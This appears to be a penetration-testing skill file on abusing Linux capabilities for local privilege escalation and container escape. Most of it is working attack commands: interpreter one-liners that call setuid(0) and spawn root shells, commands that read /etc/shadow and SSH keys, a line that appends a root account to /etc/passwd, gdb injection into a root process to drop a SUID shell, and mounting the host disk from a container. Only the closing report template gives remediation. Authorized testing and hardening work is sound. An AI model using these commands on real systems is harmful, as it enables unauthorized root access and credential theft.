| name | exploiting-linux-capabilities |
| description | Enumerating and abusing Linux capabilities (file and process) for local privilege escalation and container escape during authorized engagements, covering cap_setuid, cap_dac_read_search/override, cap_sys_admin, cap_sys_ptrace, cap_dac_override, cap_chown and ambient capability abuse. |
| domain | cybersecurity |
| subdomain | linux-hardening |
| tags | ["penetration-testing","linux","capabilities","privilege-escalation"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Exploiting Linux Capabilities
When to Use
- During authorized local privilege escalation when a user shell is obtained on a Linux host
- When linpeas/LinEnum flags binaries carrying file capabilities
- When assessing a container's effective capability set for escape potential
- When a custom or third-party binary has
setcap applied (common with packet sniffers, web servers, language interpreters)
- Any time SUID enumeration comes up empty but
getcap -r / shows interesting capabilities
Critical: Techniques Most Often Missed
Most testers run getcap -r / once, recognize cap_net_raw on ping, and move on. Capabilities on interpreters and "capability-dumb" binaries are the real wins.
- cap_setuid on an interpreter = instant root. A python/perl/ruby/node binary with
cap_setuid+ep can call setuid(0) then spawn a shell.
- How to CONFIRM:
getcap -r / 2>/dev/null | grep -i setuid, then python3 -c 'import os; os.setuid(0); os.system("id")' returns uid=0.
- cap_dac_read_search / cap_dac_override bypass file permissions.
read_search reads any file (e.g. /etc/shadow, SSH keys); override also writes.
- How to CONFIRM: with the capable binary, read a file you normally cannot —
tar/python reading /etc/shadow succeeds while cat /etc/shadow is denied.
- cap_sys_admin in a container = host disk mount. Lets you
mount the host block device and chroot to it.
- How to CONFIRM: inside the container
capsh --print | grep sys_admin; then fdisk -l lists host disks and mount /dev/sda1 /mnt succeeds.
- cap_sys_ptrace = inject into a root process. Attach to a root-owned PID and run shellcode or
call system(...) via gdb.
- How to CONFIRM:
gdb -p <root_pid> then call (void)system("id"); the action runs as the target's uid.
- Empty-capability SUID-root trick. A non-root binary with no SUID bit but
getcap showing =ep (empty) still runs as root per the capabilities man page.
- How to CONFIRM:
getcap binary returns binary =ep; executing it yields uid=0 despite no -rwsr bit.
- Ambient capabilities passed via environment. Capability-dumb binaries accept ambient caps granted by a wrapper and run privileged operations.
- How to CONFIRM: inside the wrapper-spawned shell,
capsh --print shows caps in the Current: set that a normal user never has.
Workflow
Step 1: Read Your Own Capability Sets
cat /proc/$$/status | grep Cap
capsh --print
capsh --decode=0000003fffffffff
Step 2: Hunt File Capabilities System-Wide
getcap -r / 2>/dev/null
getpcaps <pid>
getcap /usr/bin/python3.11
getcap -r / 2>/dev/null | grep -Ei 'setuid|dac_read|dac_override|sys_admin|sys_ptrace|chown|fowner|net_raw'
Step 3: Exploit the Capability Found
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
node -e 'process.setuid(0); require("child_process").execSync("/bin/bash",{stdio:"inherit"})'
python3 -c 'print(open("/etc/shadow").read())'
./tar -cvf /dev/stdout /etc/shadow | tar -xO
python3 -c 'open("/etc/passwd","a").write("r00t:x:0:0::/root:/bin/bash\n")'
./chown $(id -u) /etc/shadow
gdb -p $(pgrep -u root -n .) -batch \
-ex 'call (void)system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash")'
/tmp/rootbash -p
Step 4: cap_sys_admin Container Escape (mount host disk)
capsh --print | grep -q sys_admin && echo "SYS_ADMIN present"
fdisk -l
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
Step 5: Abuse Ambient Capabilities (capability-dumb binaries)
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
capsh --print
Key Concepts
| Concept | Description |
|---|
| CapEff / CapPrm / CapInh | Effective (active), Permitted (max attainable), Inherited (passed to children) sets |
| CapBnd / CapAmb | Bounding set (lifetime ceiling) and Ambient set (preserved across execve) |
| File capabilities | Caps stored in a binary's extended attributes via setcap; +ep = effective+permitted |
| cap_setuid | Lets a process call setuid(0) — equivalent to root on an interpreter |
| cap_dac_read_search / cap_dac_override | Bypass file read (and write) permission checks |
| cap_sys_admin | Near-root; allows mount, namespace ops — primary container escape primitive |
| cap_sys_ptrace | Attach to and inject code into other processes, including root-owned ones |
| Capability-dumb binary | A binary unaware of caps that still performs privileged ops with granted caps |
Tools & Systems
| Tool | Purpose |
|---|
| capsh | Print/decode/drop capabilities (capsh --print, --decode=, --drop=) |
| getcap / setcap | Query and set file capabilities (getcap -r /, setcap cap_x+ep) |
| getpcaps | Show capabilities of a running process by PID |
| linpeas / LinEnum | Automated enumeration that flags capability-bearing binaries |
| GTFOBins | Lookup of capability/SUID escape one-liners per binary |
| amicontained | Reports the effective capability set inside a container |
| gdb | Attach to and execute code in root processes when cap_sys_ptrace is present |
Common Scenarios
Scenario 1: Python with cap_setuid
getcap -r / reveals /usr/bin/python3 = cap_setuid+ep. Running python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' yields an immediate root shell.
Scenario 2: tar/cat with cap_dac_read_search
A backup binary carries cap_dac_read_search+ep so an operator can back up files. The tester uses it to read /etc/shadow and /root/.ssh/id_rsa, then cracks/uses the credentials offline.
Scenario 3: Container with SYS_ADMIN
capsh --print inside a CI runner container shows cap_sys_admin. Mounting /dev/sda1 and chrooting writes an SSH key into the host's /root, achieving host compromise.
Scenario 4: cap_sys_ptrace privesc
A monitoring agent binary has cap_sys_ptrace+ep. Attaching gdb to a root-owned cron process and calling system() drops a SUID root shell at /tmp/rootbash.
Output Format
## Linux Capability Abuse Finding
**Vulnerability**: Privilege Escalation via File Capability
**Severity**: High / Critical
**Affected Binary**: /usr/bin/python3.11 = cap_setuid+ep
### Discovery
$ getcap -r / 2>/dev/null
/usr/bin/python3.11 = cap_setuid+ep
### Exploitation
$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1000(user) groups=1000(user)
### Impact
Any local user can become root. On a container, equivalent caps
(cap_sys_admin) allow mounting the host disk and full host takeover.
### Recommendation
1. Remove the capability: setcap -r /usr/bin/python3.11
2. Never grant cap_setuid/cap_sys_admin/cap_dac_* to interpreters or shells
3. Apply least privilege; for containers drop ALL then add only required caps
(docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...)
4. Audit regularly with `getcap -r /` and alert on changes